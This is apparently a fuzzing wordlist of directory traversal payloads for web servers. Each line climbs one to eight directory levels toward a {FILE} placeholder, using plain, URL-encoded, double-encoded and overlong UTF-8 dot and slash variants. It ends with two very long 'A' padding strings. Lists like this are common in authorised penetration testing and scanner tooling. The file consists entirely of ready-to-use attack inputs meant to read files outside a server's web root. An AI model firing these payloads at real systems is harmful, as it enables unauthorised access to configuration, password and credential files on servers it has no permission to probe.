/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
|
||||
/..%%32%66{FILE}
|
||||
/..%%32%66..%%32%66{FILE}
|
||||
/..%%32%66..%%32%66..%%32%66{FILE}
|
||||
/..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
|
||||
/..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
|
||||
/..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
|
||||
/..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
|
||||
/..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
|
||||
/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65%%32%66{FILE}
|
||||
/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
|
||||
/..%%35%63{FILE}
|
||||
/..%%35%63..%%35%63{FILE}
|
||||
/..%%35%63..%%35%63..%%35%63{FILE}
|
||||
/..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
|
||||
/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
|
||||
/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
|
||||
/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
|
||||
/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
|
||||
/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
|
||||
/%%32%65%%32%65%%35%63{FILE}
|
||||
/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
|
||||
/../{FILE}
|
||||
/../../{FILE}
|
||||
/../../../{FILE}
|
||||
/../../../../{FILE}
|
||||
/../../../../../{FILE}
|
||||
/../../../../../../{FILE}
|
||||
/../../../../../../../{FILE}
|
||||
/../../../../../../../../{FILE}
|
||||
/..%2f{FILE}
|
||||
/..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/..%252f{FILE}
|
||||
/..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/..\{FILE}
|
||||
/..\..\{FILE}
|
||||
/..\..\..\{FILE}
|
||||
/..\..\..\..\{FILE}
|
||||
/..\..\..\..\..\{FILE}
|
||||
/..\..\..\..\..\..\{FILE}
|
||||
/..\..\..\..\..\..\..\{FILE}
|
||||
/..\..\..\..\..\..\..\..\{FILE}
|
||||
/..%5c{FILE}
|
||||
/..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
/%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/..%255c{FILE}
|
||||
/..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
/%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/../{FILE}
|
||||
/../../{FILE}
|
||||
/../../../{FILE}
|
||||
/../../../../{FILE}
|
||||
/../../../../../{FILE}
|
||||
/../../../../../../{FILE}
|
||||
/../../../../../../../{FILE}
|
||||
/../../../../../../../../{FILE}
|
||||
/..%2f{FILE}
|
||||
/..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/..%252f{FILE}
|
||||
/..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/..\{FILE}
|
||||
/..\..\{FILE}
|
||||
/..\..\..\{FILE}
|
||||
/..\..\..\..\{FILE}
|
||||
/..\..\..\..\..\{FILE}
|
||||
/..\..\..\..\..\..\{FILE}
|
||||
/..\..\..\..\..\..\..\{FILE}
|
||||
/..\..\..\..\..\..\..\..\{FILE}
|
||||
/..%5c{FILE}
|
||||
/..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
/%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/..%255c{FILE}
|
||||
/..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
/%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/\../{FILE}
|
||||
/\../\../{FILE}
|
||||
/\../\../\../{FILE}
|
||||
/\../\../\../\../{FILE}
|
||||
/\../\../\../\../\../{FILE}
|
||||
/\../\../\../\../\../\../{FILE}
|
||||
/\../\../\../\../\../\../\../{FILE}
|
||||
/\../\../\../\../\../\../\../\../{FILE}
|
||||
//..\{FILE}
|
||||
//..\/..\{FILE}
|
||||
//..\/..\/..\{FILE}
|
||||
//..\/..\/..\/..\{FILE}
|
||||
//..\/..\/..\/..\/..\{FILE}
|
||||
//..\/..\/..\/..\/..\/..\{FILE}
|
||||
//..\/..\/..\/..\/..\/..\/..\{FILE}
|
||||
//..\/..\/..\/..\/..\/..\/..\/..\{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA